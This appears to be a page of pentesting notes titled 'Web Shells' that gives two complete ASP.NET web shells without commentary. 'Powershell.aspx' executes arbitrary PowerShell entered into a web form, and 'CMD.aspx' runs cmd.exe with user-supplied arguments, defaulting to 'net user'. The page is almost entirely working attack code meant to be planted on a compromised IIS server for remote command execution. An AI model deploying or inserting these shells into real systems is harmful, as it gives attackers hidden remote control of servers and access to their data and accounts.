Web Shells
Powershell.aspx
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Collections.ObjectModel"%>
<%@ Import Namespace="System.Management.Automation"%>
<%@ Import Namespace="System.Management.Automation.Runspaces"%>
<%@ Assembly Name="System.Management.Automation,Version=1.0.0.0,Culture=neutral,PublicKeyToken=31BF3856AD364E35"%>
<!DOCTYPE html>
<script Language="c#" runat="server">
private static string powershelled(string scriptText)
{
try
{
Runspace runspace = RunspaceFactory.CreateRunspace();
runspace.Open();
Pipeline pipeline = runspace.CreatePipeline();
pipeline.Commands.AddScript(scriptText);
pipeline.Commands.Add("Out-String");
Collection<PSObject> results = pipeline.Invoke();
runspace.Close();
StringBuilder stringBuilder = new StringBuilder();
foreach (PSObject obj in results)
stringBuilder.AppendLine(obj.ToString());
return stringBuilder.ToString();
}catch(Exception exception)
{
return string.Format("Error: {0}", exception.Message);
}
}
protected void Page_Load(object sender, EventArgs e)
{
if (Page.IsPostBack)
{
if(iTBox.Text.Length > 0)
{
oTBox.Text = powershelled(iTBox.Text.Trim());
iTBox.Text = string.Empty;
}
}
}
</script>
<html>
<head id="D34dHead" runat="server">
<title>POWER!shelled</title>
</head>
<body>
<form id="form1" runat="server">
<span>Index </span>
<span>POWER!webshell</span>><br />
<asp:TextBox ID="oTBox" runat="server" BackColor="Black"
Height="480px" ReadOnly="True" TextMode="MultiLine" Forecolor="Green"
Width="1200px" ToolTip="POWER!shell output"></asp:TextBox>
<br />
<asp:TextBox ID="iTBox" runat="server" Width="1200px"
ToolTip="<POWER!shell command>"></asp:TextBox>
</form>
</body>
</html>
CMD.aspx
<%@ Page Language="VB" Debug="true" %>
<%@ import Namespace="system.IO" %>
<%@ import Namespace="System.Diagnostics" %>
<script runat="server">
Sub RunCmd(Src As Object, E As EventArgs)
Dim myProcess As New Process()
Dim myProcessStartInfo As New ProcessStartInfo(xpath.text)
myProcessStartInfo.UseShellExecute = false
myProcessStartInfo.RedirectStandardOutput = true
myProcess.StartInfo = myProcessStartInfo
myProcessStartInfo.Arguments=xcmd.text
myProcess.Start()
Dim myStreamReader As StreamReader = myProcess.StandardOutput
Dim myString As String = myStreamReader.Readtoend()
myProcess.Close()
mystring=replace(mystring,"<","<")
mystring=replace(mystring,">",">")
result.text= vbcrlf & "<pre>" & mystring & "</pre>"
End Sub
</script>
<html>
<body>
<form runat="server">
<p><asp:Label id="L_p" runat="server" width="80px">Program</asp:Label>
<asp:TextBox id="xpath" runat="server" Width="300px">c:\windows\system32\cmd.exe</asp:TextBox>
<p><asp:Label id="L_a" runat="server" width="80px">Arguments</asp:Label>
<asp:TextBox id="xcmd" runat="server" Width="300px" Text="/c net user">/c net user</asp:TextBox>
<p><asp:Button id="Button" onclick="runcmd" runat="server" Width="100px" Text="Run"></asp:Button>
<p><asp:Label id="result" runat="server"></asp:Label>
</form>
</body>
</html>
Last updated